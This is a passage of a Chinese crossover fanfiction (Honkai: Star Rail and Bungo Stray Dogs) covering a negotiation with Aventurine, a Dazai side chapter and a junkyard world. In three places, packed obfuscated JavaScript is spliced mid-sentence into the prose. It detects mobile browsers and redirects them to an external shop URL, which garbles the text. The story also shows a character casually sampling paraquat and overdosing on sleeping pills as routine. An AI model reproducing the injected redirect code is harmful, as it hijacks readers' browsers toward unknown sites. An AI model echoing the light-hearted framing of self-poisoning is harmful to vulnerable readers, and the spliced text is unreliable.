望着一群正警惕盯着自己看的人,男人大概是心理过于强大,竟然还能保持面不改色,甚至还带了几分笑意道:“哟,星穹列车的朋友们,好久不见。” 星眼睛一亮,她看了江沅清一眼,好像想起来什么,当场丢掉棒球棍眼泪汪汪地扑过去:“砂金老婆——” 扑到一半却发现自己卡在原地没法动弹,不由得回头怒视拽着她后衣领的丹恒道:“快放我过去拿我的一百万星琼!” 砂金满面的笑容消失了片刻,怀疑自己耳朵是不是出了什么毛病的神色一闪而过,被他很好地掩盖住了。 他慢慢向前走了两步,含笑道:“我可是帮了你们一个大忙,不来感谢我一下吗?” “谢谢谢谢谢你,你说得对,但是我的一百万星琼……” 砂金的视线在星的身上停顿了一下,又转向了最有可能是罪魁祸首的那个人身上。 其实那一百万星琼只是拿去哄小孩儿的,具体类比起来就是你要是考到清华北大我就给你五百万这样的口头支票,江沅清有点心虚。 这种东西吧,但凡换个人都不带信一点的,可是如果那个人是星,那绝对是屡试不爽。 有种微妙的逗傻子玩的错觉,她幽幽转开了目光,又觉得这样好像有些明显,干脆挺直了身板向前一步严肃地转移话题道:“来说正事吧,不知道砂金总监帮了我们什么忙?” 其实她有猜测,这个怪物所说的“窃取力量”是砂金的手笔。 他敢孤身前来就说明他有意告诉他们这件事情,而这绝对是他谈判的筹码之一。 一旦问了出声,那么谈判的节奏很有可能被他这个行家玩弄于股掌之间,江沅清原本不太想问的。 但是一想到如果不问,他们就要在那个一百万星琼的事情上刨根究底,那更是汗流浃背。 贯彻死道友不死贫道这个行为的江沅清果断转移了话题。 反正砂金和星的关系挺不错的,总不能给星挖陷阱让她跳吧? “如你们所见,这位‘神’的力量正是被我所转走,不过这并不重要,我也只是让力量物归原主罢了,”砂金轻描淡写地把江沅清的问题一带而过,声音略微提高了一点道,“我这次来是想向你们展示这个世界的真相……以及,和你们达成必要的合作,不知道诸位能否听我一言?” 他上来就是一手的王炸,听得江沅清眉头微皱,她微笑着两手一按星的头,阻止她捣蒜似的点头,而后问道:“你所说的合作代表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942138|122639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你个人,还是你身后的公司?” 砂金虽然和星的私交不错,可当公司的利益和列车的利益相冲突的时候,这点交情又算得了什么? 只能被无情的利益碾压得一点不剩。 况且这颗星球最先被公司判定为死亡,而现在,他们竟然为了一颗已经死亡的星球派出来一位高管! 他们所图谋的又是什么? 江沅清不相信他们探索了这么久的星球才刚触及到真相的表面,而仅凭砂金个人却能随意找到真相。 他大概率动用了身后的资源。 真相的确宝贵,可他们也要掂量着有没有资格去听。 砂金赞叹道:“你很聪明,沅清小姐,事实上,和我合作与和公司合作没有什么区别,不是吗?” 不等江沅清反驳,他打了个响指,转起了手上的筹码,微笑道:“你们需要真相,从而帮助这颗星球脱困,而我需要你们的力量,相信我,朋友,我们的目的是一致的,我砂金从来不会让朋友吃亏。” 够了!砂金他真的是糊弄学大师吧!什么听君一席话胜听一席话啊! 看上去脸不红气不喘地说了这么多话,总结成一句话就是跟我合作不吃亏。 这跟拉老头老太太过去听讲座送冰箱一样假,你但凡说送个鸡蛋呢! 江沅清最讨厌和这种油嘴滑舌的家伙商谈,和他虚与委蛇浪费的时间足以她睡个三天三夜,于是直截了当道:“谢谢,但我不是你朋友,好好说话,拿出点诚意来。” “是吗?明明和我一起玩转赌桌的时候还那么开心,”砂金虚情假意地叹了口气道:“我的诚意是我们可以一起开拓这颗星球。” 江沅清还没来得及说话,三月七就满头问号道:“等等?什么?和公司一起开拓?公司?开拓?公司开拓?” 那能叫开拓吗?那不是奴隶繁育基地吗?! 你要不要听听你在说什么? 砂金显然也是想到了这一层,星际和平公司的名声确实有那么亿点不尽如人意的好,他轻咳一声道:“是真的开拓,帮助他们变成一个自强不息的全新星球,公司绝不会染指这里的一切,我们可以立下字据。” ……更糟糕了。 那绝对是公司想要的那东西的价值已经远远超过了一颗星球,所以愿意放弃一个能长期产生利益的基地转而去要那个东西。 那得是什么玩意儿? “我知道你们还有一些顾虑,所以放心吧,朋友们,我绝对不会逼迫你们的,这是通往真相世界的钥匙,那是过去、也是原初的世界,你们的所有疑虑在那里都可能得到解答,”砂金将一把银色的钥匙交到他们手上,后退了一步摘下帽子行了个告别礼道,“我在那个时代等候你们的光临。” “你们所处的这个时代,不过是基于幻象之上的虚影,但你们可以来到最初的地方,去改变一切,从而拯救这颗星球。” 砂金的身影又退回了裂缝中,“唰”的一声,裂缝合上了。 星举着钥匙仔细打量了片刻,发现这把像极了“8”的钥匙身晶莹剔透,上面有着隐隐的流光,如果放在阳光下,大概能照出来十分漂亮的色彩吧。 三月七左右看看,迟疑道:“怎么说?” “去吧,”江沅清揉着从见到那把钥匙起就十分疼痛的头,尽力让自己看着冷静道,“到这个份上了,也没有后退的路了吧?” 织田作之助注意到了她微微颤动的额角,低声问道:“江沅清,你怎么了?” 在那怪物的尸体彻底消失之际,许多记忆喷涌而出,差点要把她的大脑冲爆。 江沅清深吸了一口气,压抑着想干呕的欲望摇了摇头道:“没事。” 她在这三次循环中的完整记忆回来了。 56.(首领宰番外可跳) 凌晨三点半。 夜幕不知道拉开了多久,早已将横滨盖得黑不见底,路上静悄悄的,没有一点人声和光亮,整个城市安静得跟死了一样。 然而某栋高楼大厦的最顶层却还亮着一点刺目的灯光。 随意将手中的钢笔丢到桌子上,太宰治裸露在外的那只鸢色的眼睛静静凝视着从笔头处摔出来的黑色墨水,它们溅在刚批好的文件上,印出了颇有艺术感的花纹。 不愧是他,随手一丢都能造出这么好看的艺术品,裱起来,一定要裱起来! 不过现在守着他的只有几个倒班的侍卫和那个不知道在哪盯着他的小矮子了,没有一点艺术细胞的小矮子想来是不会理解他这伟大杰作的。 太宰治又兴致缺缺地把手中的文件丢了下去,站起来慢吞吞走到巨大的落地窗前,和漆黑的横滨面面相觑。 他的视力很好,隔着千儿八百里也能看见武装侦探社所在的地方,他们是港口的心头大患,同样,也应该是他的。 啊,决定了,明天就派人去给侦探社找点不痛快吧。 这样想着,他又无所事事地回到桌子前面,从中取出来一份中文版的日历。 一边数着对应的日期,太宰治一边默默念着对应的死法:“啊咧,今天是八号,不适合跳河……那决定了,喝毒药吧!” 片刻后,被他派去买毒药的侍卫恭敬地将传说中的种花家谁喝谁死的百草枯呈到了他的身前,太宰治挥挥手让他退下,自己则是好奇地看向了手中的绿色的小瓶子。 记得小沅江刚被他捡到的时候,恼怒地跟他说过,不想活那你有本事去喝百草枯啊,包谁喝谁死的。 后来他的确有试过,不过还没来得及喝一口就被满脸“你有病吧”的小沅江痛骂一顿,差点连人带瓶被她一起丢出去,之后倒是再也没有碰过了。 他拧开瓶盖,试着伸出舌尖舔一下,却被一只戴着黑手套的手强行按住了头,阻止了他向前的动作。 愠怒的声音在他的头顶响了起来:“混蛋首领你要是死了我怎么和大姐头交代啊可恶!” 太宰治不爽道:“啧,烦人的蛞蝓来了,注意你对首领的用词。” 但凡太宰治把他“首领”的这层皮脱掉,中原中也保证自己能给他揍进医院,但可惜这混蛋家伙不知道怎么就取代了首领的位置,自然也是他要服从的对象。 拳头已经硬成铁石了,但是中原中也却只能憋了半天憋出来一句:“我错了首领。” 看这家伙已经气炸了却不敢对他怎么样的姿态也是太宰治为数不多的乐趣之一,他对于所谓的“玩具”多了不少的宽容,所以大发慈悲地放过了他:“没有下次,下去吧,把毒药也带走,随你处理,我要睡了。” 太宰治的“家”就在边上,只要拉开办公椅朝着墙边走两步,再按一下藏在墙内的按钮,一道小小的暗门便能弹出来。 穿过暗门,一张不算宽的榻榻米就能显露在眼前,边上还有一个小小的柜子。 很难想象这是一个纵横一座城市的势力首领居住的地方,但事实摆在眼前——太宰治住的地方就是这样寒酸,被别的势力见到了指不定要蛐蛐他什么。 中原中也和尾崎红叶都劝过他换一个更安全的、更符合他身份的居所,却被他以“属下没有资格干涉我的选择”拒绝了。 躺在榻榻米上,太宰治凝视着天花板上昏黄的灯光,却始终察觉不到困意,他眨了眨眼睛,最终愉快地决定爬起来找点安眠药吃一吃。 他随意一伸手将边上的小柜子拽到自己边上,侧着身子用胳膊肘支起来自己,探头翻了一通,视线却在见到一张合照的时候停滞了片刻。 那张照片只上面只有两个人,一个是满脸无所谓的他,一个是一边看着镜头笑得春光灿烂,一边对着他狠狠竖中指的十五六岁的少女。 被他推入脑后的记忆就这么烦人地一拥而上,太宰治皱眉弹开那张照片,也顺势把那些记忆重新压了回去。 他找到安眠药的药盒取出说明书对着昏暗的灯光仔细阅读了起来。 “一次一粒……哦看错了,一次十粒,多吃一点也没什么问题吧。” 这么想着,他往手里倒了一大把安眠药填入了嘴里,自己则是往榻榻米上重重一倒,感受着自己的神经在一点点被麻痹。 只有这个时候,他才真真切切地感受到,自己正在活着。 太宰治的睡眠一向很浅,大概是吃太多次安眠药吃出了抗性,这次不到八点,他又醒了过来,宛若宿醉一般的头疼敲打着他的每一根神经,让他不自觉捂着头,从喉咙中挤出来一声浅浅的“唔……” 好痛,不想上班,一想到出门就是班他恨不得和这个世界同归于尽。 然而催命电话却在那边发出了震耳欲聋的提醒声,太宰治轻轻叹了口气,将柜子锁上之后看了眼时间,七点三十八。 他住的地方四周都没有窗户,所以见不到灿烂的阳光,也因此对时间毫无概念。 处理完电话里的事情,太宰治对着镜子解开绷带,又沉默地取出新的绷带一点点缠了回去。 “早上好。” 他对镜子里的自己轻声说道。 上午的行程安排还算简单,他来到了审讯室,对着向他躬身行礼的尾崎红叶微微一点头,踩着满地的血污面不改色地进入了其中的某一间。 如果江沅清在这里,她肯定能够一眼认出来,那被折磨得不成样子的人赫然就是那个炸弹狂魔! 太宰治微微一笑,俯下身子盯着他,声音轻若飘羽,落在那人的心里却掀起来狂风骤雨:“你做得很好,但是你已经没用了,你知道在我这里,没用的东西都会是什么下场吗?” 那个男人嘶哑着声音大叫道:“首领!首领你不能这样!首领你让我做的事情我已经全部做到了!你不能用完就丢!” “哦,是吗,”太宰治起身,那只没有一丝笑意的眼睛静静凝视着他,“一条背主的狗说出来的话,你猜我会不会相信?” “首领我冤枉!首领我对你是真心的,我没有……” 他的话还没说完,就有一点冰凉的金属感撞在了额头上,因为过于突然,他的大脑疯狂运转了半天才意识到,那是一把枪。 “两头吃就得做好被主人抛弃的准备,”太宰治模拟着开/枪的动作,口中冒出了一声戏谑的“彭!”,他看着眼前颤抖不已的男人,轻声道,“你再猜,我有没有你背主的证据?” “首领我错了首领,首领我只是一时鬼迷心窍,首领你再给我一次机会吧我再也不敢了……” 觉得这种痛哭流涕的忏悔过于没意思了,太宰治丢掉从中原中也身上拔下来的枪,转身离去,在一只脚踏入门边的时候蓦然一个回头,杀人诛心道:“其实我没有你背主的证据哦,不过现在有了。” 说罢,不管那男人的嘶叫哭嚎,他非常贴心地关上门,看向尾崎红叶:“挖干净消息,然后处理了。” 尾崎红叶福了福身道:“是。” 人心就是这样,很好玩弄,只要摸清楚这个人的性格,就可以通过反反复复的试探敲诈到一切他想得到的东西。 而他至始至终不过是动用了一下嘴皮子罢了。 当然也有坚韧的人心,但那些人心都是由肉长的,只要有柔软之处,那么人便不可能立于不败之地,也自然很好对症下药。 他可以为了想要得到的东西不择手段。 只不过经常这么做,也过于没意思了点。 太宰治了无生趣地回到办公桌,开始慢吞吞处理起了文件。 一直到午饭时间,尾崎红叶端上来食盒,他才恍然间发现又是几个小时的宝贵青春被这些文件浪费了。 打算继续浪费青春的太宰治没打算动食盒,却被尾崎红叶察觉到了端倪,她轻轻叹了口气,笑道:“如果沅江小姐知道了您又不吃饭,一定会不高兴吧。” 太宰治提笔写批注的手一顿,他眼皮子都没抬,声音冰冷道:“谁给你擅自威胁首领的权力?自己去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942885|122639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领罚。” “是。” 尾崎红叶不急不躁地行了个礼,转身离去。 在她半只脚刚踏出大门的时候,再也没写一个字的太宰治终于颇为不爽地盖下笔盖,出声道:“不用领罚了,下不为例,我会吃完的。” 明明那玩意儿没在他边上,他到底为什么会担心她生不生气啊! 不对!身为一个首领,就算她在他边上,他也不用担心吧! 越想越不爽,太宰治打开食盒,发现是精美的蟹肉拼盘和寿司,不爽的心情在上面转了一圈又乖乖沉底,他一口一口地吃了起来,神色在不爽和宽慰之间来回跳转,差点扭曲成一个神经病。 好在午饭时间很快就结束了,他本来就没有什么胃口,也就随意吃了两口保证自己不会饿死,自然吃得很快。 又处理了一会儿文件,中原中也敲响了外面的门:“首领,有个想投奔我们的小势力首领请求见您。” 太宰治翻看着手中的开发政策,皱眉瞥了他一眼:“这种事情也来烦我?随意找个干部接见。” “是。” 在中原中也要退下之际,太宰治丢下手中的文件叹了口气,他揉了揉太阳穴无精打采道:“算了,我亲自去,你也去。” 似乎是想到什么有趣的东西,他拉长了声音做作道:“你注意保护我,不注意也行,如果我死了的话,就让你当下一任首领吧,首领大人~” 中原中也按住下意识想要戳到他脸上的铁拳,向外翻涌而出的鸡皮疙瘩让他沉默地瞥了太宰治一眼,最后死死抿着唇咽下去脏话,憋出来一句:“是。” 太宰治看出了他的忍耐,变本加厉地脑子继续抽抽:“看上去好像很不满呢,蛞蝓阁下~” 他忽然就想到了江沅清之前所吐槽的:你是在培养干部还是在培养忍者神龟? ……就不能全都要吗? 太宰治理直气壮地想着,来到了会客厅,他抬头看向起身迎接他的胡子满面的男人,一声冷笑在心底溢了出来。 好一个“投靠”,真让他猜对了。 果不其然,在双方虚与委蛇不到半分钟,那男人忽然抓起手边的茶壶变成了一把陶瓷小刀,当场就要往太宰治的脑袋上插。 陪伴他的所谓副手也脱下了身上的外套,径直扑向了中原中也。 然而被刺杀的主角却还在座位上悠哉游哉地喝着来自种花家的雨前龙井茶,声音徐缓道:“他们在派你们来之前,没有告诉过你们,最需要提防的家伙其实是一个小矮子吗?” 一把薅着朝他扑过来的男人,中原中也抬脚把他踹飞到墙边,大概是在动用异能力所以进入了狂躁状态,听到太宰治的话不由得震怒道:“喂!” 他操控着重力将试图砍向太宰治的男人挤压在原地,飞奔到他身侧踢飞了男人的用边上的陶瓷茶壶幻化成的匕首。 太宰治放下茶杯,披上一尘不染的黑大衣简单理了理仪容,笑眯眯道:“这家伙可是重力使,也是港口第一战力啊,麻烦刺杀我之前先把他处理掉哦。” “喂!!!混蛋你在教什么啊!” 这次的刺杀无惊无险地过去了,连一场小风波都算不上。 毕竟太宰治在听到中原中也的禀报就能猜到、在见到那个投诚都不整理好面容的家伙之际就能肯定了。 他自从坐上了这个位置,类似的刺杀大大小小不停断,这样的已经算是规模小的了。 麻烦的是后续的审问和处理,这一点交给审讯组的人去问。 那些废物点心问不出来,他再出手吧。 夜幕再次降临,太宰治处理着手头的文件,忽然将目光投向窗外,和玻璃窗内的倒影对视着。 “小沅江,你若是再不回来,我可撑不了多久。” 他如果在这时候倒下了,横滨必然会陷入混乱。 太宰治对这些无所谓,但他记得江沅清很喜欢和平与安宁。 “所以为了你想要的和平,带着令我满意的答案回来吧。” 57.消失的异能 她又站在了这条熟悉的街道上…… 等等?为什么要说又?总不能因为这条街道出现的频率高就这么说吧!搞得像是什么新手村出生点似的! ……哎?真的不是吗? 她这三次轮回中次次都在这个地方“出生”哎。 猛然想到自己其实在回忆中的江沅清深吸了一口气,她淡定揉了揉太阳穴,顶着织田作之助担心的目光微微一笑。 “小织同学,我想起来了很多事情。” 那些被她遗落在循环中的记忆尽数归位,江沅清不得不专门花了很长的一段时间去理清楚,也明白了约书亚这样做的原因。 如果非要追根溯源的话,锅还得甩一大半在她的头上。 那是第一次来到这里发生的事情,同时,那也是她在这里呆得最久的一次循环。 刚来到这里,她和织田作之助并没有分开,两人在她从赌场里搞到一点初始资金后就开始在这里安家落户。 为了获得更多的有关这里的信息,江沅清用万能身份卡为自己伪造了一个带着弟弟前来学术交流的国外学者身份。 虽然他们两个人长得八竿子打不着边儿,而且头发颜色足以让那些生物学生苦大仇深地分析遗传问题,但是盲目吹捧学术的贵族们却并不在乎这些。 江沅清只要让他们觉得自己有真东西就对了。 认识约书亚是在一个舞会上,这位天真烂漫的大少爷正在盘算着逃婚的事情,江沅清和他随口聊了几句。 她不认为一位贵族家的大少爷脱离自身的家族去追求所谓的自由是一个理智的行为,毕竟被养在温室里的花经不起外面的狂风暴雨。 果然,她前往某位男爵家中为他进行心理疏导的时候,在一条肮脏破败的街道上遇到了差点沦落为乞丐的可怜少爷。 把少爷带回家的时候,织田作之助还默默地盯着他看了一会儿,但他什么也没有说,只是语气平静地问她:“江沅清,晚饭你要吃什么?” 按照两人的约定,今天轮到他做饭了。 把织田作之助打发进厨房,江沅清和约书亚在书房里聊了许多。 少爷显然在流浪的过程中见识了许多人间险恶,也同样见到了不少无法言说的苦难,也因此整个人跟脱胎换骨似的,陷入了一种混沌的迷茫之中。 江沅清顺手帮他开解了一下,告诉他这是这个时代的病根,只要贵族们还存在一天,那么这里就不会变好。 于是不知道为什么变成了激进派的少爷当场问她起义能不能行,听得江沅清汗流浃背,连忙按住了这孩子蠢蠢欲动的念头。 她想了想,告诉约书亚,如果不能规划好权力结构,那么一切都是无济于事的。 虽然但是,她也没让这孩子直接和邪神融合创四全世界啊! 这到底是谁教的啊! 等她发现约书亚最近神神叨叨的时候已经迟了,这孩子已经发展了一大批信徒,差点就唤醒了沉睡在混沌中的某只怪物。 她和约书亚大吵一架,表示这样做不仅无济于事,反而会带来更大的混乱。 两人不欢而散。 再之后就是她和织田作之助一起阻止邪神降世,最终她因为动用过多的能力瘫倒在地,被对面不讲武德的家伙一个偷袭死在了他的眼前。 哎呀,看着同伴一次次死在自己眼前一定非常不好受吧。 江沅清从复杂的记忆中抽身出来,她深深吸了口气,故作轻松地摸了摸织田作之助的头。 难怪在第二次的结尾,他是那样的无措。 织田作之助抿唇看了她一眼,却没有出声阻止。 哎哎哎?对,对吗? 她记得之前她给小织同学擦头发的时候,他非常抗拒哎!现在怎么可以随便摸了? 江沅清有些迟疑地把手拿下来,发现少年在侧头看她,他的神色隐约有些不解道:“不继续了吗?” ……她悟了! 原来是小织同学发现她心情不好,所以特意来安慰她了! 天呐孩子真的懂事了! 她就说她该转行去隔壁育儿组吧!瞧瞧,瞧瞧!快瞧瞧刚见面时候死气沉沉一孩子被她养得多好啊! 江沅清心情大好,她摆了摆手道:“放心吧,小织同学,我已经好多了。” 织田作之助再次抿了抿唇。 她刚打算过去看看砂金给的钥匙怎么用,就听见三月七的一声惊呼:“等等!” 江沅清连忙凑过去,却只见到星接过来钥匙一个蛮力给它掰断了。 啊啊啊啊啊星宝你在干什么啊! 然而无数纷纷扬扬的银色流光从断裂处弥漫而开,在他们的眼前构成一扇雕刻着瑰丽花纹的门,而后又为他们飞速铺出一条宛若银河的小路。 星心情膨胀地叉腰,骄傲道:“这就是大力出奇迹!” 奇迹是这样让你出的吗!这绝对是游戏在宠着你这个主角吧! 但不管怎么样,奇迹确实出来了,江沅清夸了她两句,被三月七“你就宠她吧”的视线打败。 她僵硬地咳了两声,转头对着织田作之助伸手道:“走吧,小织同学,一起去迎接新的冒险吧?” 一只有些凉的手搭了上来,她听到了少年轻轻的一声“嗯”。 门后是无尽的银白色,自由自在的坠落感在她的全身流淌而过,让她的每一处细胞都在沸腾着,理智像是被抽离出身体一般,让她冷眼感受着自己现在的不正常状态。 简直跟清醒地梦游似的。 这种感觉过于奇怪,江沅清不得不努力控制着自己的手晃了晃边上的织田作之助,担心他会出什么意外。 幸好,和她紧紧相握的手也晃了晃,回应了她的担忧。 坠落的时间是漫长的,她无法睁眼看清周围的情况,嘴巴也被封死了,吐不出一句话,江沅清憋了半天也只憋出一个什么意义都没有的“噗”,只好无所事事地想着太宰治交给她的鳞片。 她本以为那是在提醒她在这里发生的事情,太宰治让她找回在循环中丢失的记忆从而去解决这里的麻烦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13048923|122639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 然而现在想来,这里的死活似乎不关他的事情,太宰治说的应该是那更远一点的,在她来到崩铁世界之前的记忆。 从在那边得到的消息来看,她最初拥有的异能力是时空系异能,并且因为失控不小心来到了横滨被太宰治捡到,于是他们两个人达成了什么神秘的合作,她需要去拯救什么人。 ……那太宰治呢? 既然是合作,那肯定是双向的啊!她需要太宰治帮她做什么? 头好痛,感觉要长脑子了! 江沅清揉了揉感觉被猛烈撞击过的头,揉了一会儿忽然察觉到不对劲。 哎?刚不是还在当自由飞翔的小鸟吗?怎么突然能动弹了? 她一个激灵猛然睁开眼,发现头疼不是假的……她真的被一颗石子打到了头。 对面成山的垃圾堆中,几个黑乎乎的瘦小孩儿警惕地盯着她,其中一个正在不停往她身上丢石头。 江沅清下意识侧身躲开,被气笑了,当场就想撸起袖子试图让这群小孩儿知道什么叫人外有人。 颤抖吧熊孩子们,在大人不讲武德的时候,你们就知道为什么大人被叫做大人了! 然而她刚想动用能力,却惊讶地发现,她有关骰子的能力竟然消失了。 ……哎?这,这是在做梦吗?还是说她的能力终于忍受不了跟着她的日子了,当场丢下“跟着一个柔弱坐班医生根本没前途,再见了主人我今晚就要远航”的辞呈跑路了? 那种事情不要啊! 世界这么大,她可以带着异能一起去看看的啊!为什么要抛下她! 江沅清欲哭无泪,扫视了一圈四周,发现自己大概是降临到了一个垃圾场中,周围是成山的垃圾。 但这些垃圾却并非她以往见到的那种,这里的垃圾更有科技感,就像是文明高度发达的机械星球一样。 懂了,一定是来到了螺丝咕姆的老家! 咳,开个玩笑,螺丝咕姆可不会让对面那些疑似是孩子的人吃不饱穿不暖。 现在的问题是她一个人来到了一个全然陌生的地方,可以倚仗的异能力也消失了,江沅清不得不针对这个棘手的情况想清楚下一步该怎么做。 好在星送给她的空间背包还是可以用的。 星门(双手合十)! 想了想,她大声地叹了口气,非常夸张地摇了摇头,借着口袋的遮掩从中取出来一块香香软软的小蛋糕。 “啊!这块蛋糕好香啊,”江沅清棒读道,“如果有人告诉我你们为什么要这样做,我一定会给那个人吃很多很多小蛋糕的吧!” 她瞥见那些孩子有一些骚动,但依旧很警惕。 大胆推测了一下这个世界的情况,江沅清遗憾摇头,模棱两可道:“我好不容易混进去上面,就是为了帮助和我一样经历的人,没想到竟然没有人接受我的好意,唉!” 她作势准备离去,却有一只脏兮兮的小手拉住了她垂下去的衣摆:“别走,我要!” 一个八九岁的孩子站在了她的身前。 58.反抗军 这孩子瘦骨嶙峋,穿着卷边的衣服,磨损很严重而产生的绒毛在她的袖子口绕出一道贫穷的花边。 她有些紧张地绞着手指头,小心看向江沅清:“真,真的可以给我吗?” “小雅!回来!” 江沅清侧耳听着躲在垃圾堆中的某一个孩子大声的呼唤,她微微一笑,俯身温和地摸了摸小姑娘的头,将这块蛋糕塞进了她的手中,声音轻柔道:“嗯,我还有很多小蛋糕,所以你可以告诉我为什么要用小石头打我吗?很痛的哦?” “对,对不起,”小姑娘嗫嚅道,“我们害怕你是要抓我们去收容所的坏人……” 好吧,看来是触发任务剧情了。 江沅清低头看了眼自己身上披着的白大褂,哽了一会儿,面不改色道:“是吗?他们要抓你们做什么呢?” 小姑娘还要再说些什么,却被后面突然跟个猴子一样窜出来的小男孩儿拉到身后,蛋糕被他一把夺走狠狠摔在地上。 他像一只色厉内荏的小狼,向江沅清展示着自己并不锋利的爪牙:“离我们远点!” 江沅清很讨厌吃哑巴亏,但看着现在的局势,她再怎么强调也没有用了。 和这样的小孩儿打架有些掉价儿,端着不知哪来的偶像包袱,江沅清干脆漫不经心地环顾四周将所有景象刻在脑子里,然后遗憾地耸了耸肩道:“如你们所愿。” 等她搞清楚收容所的事情迟早要过来给这小鬼一个大比兜子,到时候在他面前喂给他妹妹吃十八个小蛋糕,一个也不给他。 是的没错,我们阴暗的大人就喜欢这样报复小孩子。 然而她刚要转身离去,一道暗红色的激光便猛然在她的眼前闪过,江沅清的动作比她的大脑反应要更快,她下意识一把推开那俩小孩儿,自己则是向后一倒。 一声轰然的巨响在这里炸开,紧接着响起来的是被淹没在崩塌声中的尖叫哭泣声,这些尖锐的声音越过重重沉闷的响动,穿透了江沅清的鼓膜,她不得不逼着自己在颤抖的大地中站稳身子,抬眼望了过去。 那些被灰尘泥土掩埋的机械垃圾山瞬间被那道红色激光打得塌方,将没来得及跑出来的孩子们尽数压在其下,失去了能力的江沅清无法再获得之前那样好的眼力,也没办法看清楚垃圾堆的旁边是否有新鲜的血液。 但她可以看清楚的是不远处有一队人正在激烈打架中。 说打架倒也不对,应该说是一群穿着制服的人正在单方面殴打一个少年,但因为少年有一个出奇强大的帮手,所以说竟然硬生生地你来我往了起来。 那道激光就是那堆制服组装在手上的武器发射出来的。 真的超级危险啊!装上那玩意儿简直人人都能当炮姐,这不得狂喜晕一堆二次元? 我跟你们说,你们这群制服完蛋了!你们竟然打坏了星最宝贵的垃圾堆!等着吧,迟早有一天你们将看见一只满脸怒火的拆家猫把你们的家具全都挠花! 江沅清长长叹了口气,她收回视线偷偷蹲下,悄悄挪过去检查了一下被她推出去的那俩孩子,发现他们被震晕了,于是不得不在这场突如其来的变故中重新审视起这个世界的危险性。 救命!她只是随口问个路都能遇到这种事情,这跟走在大街上莫名其妙被狗踹两脚有什么区别! 就算是隔壁文豪O犬的世界也没有一言不合就拔/枪的道理吧! 星宝!三月!丹恒!你们是我最亲爱的宝宝们,快来救救我啊喂! 江沅清在废墟中轻轻呼了口气出来。 她必须尽快找到她的同伴们。 不过在此之前,要不她就带着这俩孩子在这里狗狗祟祟,等他们醒了,仔细问问研究所的事情? 这样想着,她又一次将目光投向了方才的战场上。 等等,不对不对,她的眼睛是不是被风沙迷住了啊?绝对是高糊风沙把她的眼睛给堵着了吧!为什么她觉得那个帮手,长得,有那么点眼熟啊。 江沅清哽了一会儿,连忙从背包里掏出望远镜就地一看,发现那个灵活穿梭于制服们之间的强大帮手正是织田作之助。 这一刻,江沅清承认她的心脏骤停了一下。 天地间的所有声音都归于寂静,最后在她的心里归结为一声响亮的咆哮。 喂喂喂! 那不是我们家的小织同学吗!天杀的!啊啊啊啊小织同学!你怎么跟这群开着低配炮姐外挂的家伙对上了啊! 她像一个辛辛苦苦在四十度的大太阳下种地的老农民伯伯听到自己的儿子竟然被小混混敲诈勒索了一般,恨不得当场拎着她的扁担冲过去躺在那群小混混面前“哎哟哎呦”着碰瓷。 如果在能力没有消失之前,她有很多帮忙解决的办法,而现在,她只能轻轻一皱眉,想了想,从星给她的背包中摸出来一把“子弹百分百必中枪”。 这枪也是黑塔收集的奇物之一。 她这个人向来喜欢搞一些奇奇怪怪的东西进仓库吃灰,可以说江沅清这里千儿八百怪的的奇物都是黑塔送的。 当然不是免费的,黑塔这冷心冷肺的女人要起利益简直是狮子大开口,好几次听得江沅清汗流浃背,表示她这里不是许愿树。 没过多久,她就在列车上收到了黑塔寄过来的奇物“赛博许愿树。” 扯远了,这把“子弹百分百必中枪”原身是一位宇宙传奇牛仔的爱枪,那位牛仔死后落入了巡海游侠的手中,而后又被假面愚者们得到。 是的,假面愚者。 那群乐子人将这把枪改造成了现在的“子弹百分百必中枪”,子弹确实可以悄无声息地命中你想打的任何人,但是它只有1%的概率造成暴击。 总结起来就是一顿操作猛如虎,一看战绩0-5,用于正面战场非常鸡肋。 但江沅清相信织田作之助,她只需要在后面给那些人一点干扰,他就能解决完这拖沓的战局。 事实证明果然如此,在她的搅动之下,织田作之助很快将那群人收拾干净,而后侧头向她藏身的地方冷冷看了过来。 他一定是又用异能了。 因为那双不带着任何情绪的眸子忽然就亮了起来,连带着板着的一张小猫脸也不自知地柔软了下去,和刚才在战局里大杀四方的人大相径庭。 江沅清知道他是用异能看见自己了,没忍住笑着叹了口气,将那把鸡肋的大功臣收入了背包,从找的掩体当中站出来,随意地掸了掸身上沾着的灰,笑眯眯道:“小织同学,看来这次是你先找到了我。” 站在他边上举着枪的少年警惕道:“你是谁!” 织田作之助抬手按下了少年的手臂,声音没有什么波澜道:“临篇,不可以拿枪指着江沅清。” 呜哇!孩子真的长大了!好感动! 江沅清快步走过去,本想摸摸他的头,却发现自己现在的手一摸下去他得找地方洗十八遍头才能洗掉泥沙,只好改为一个大大的拥抱。 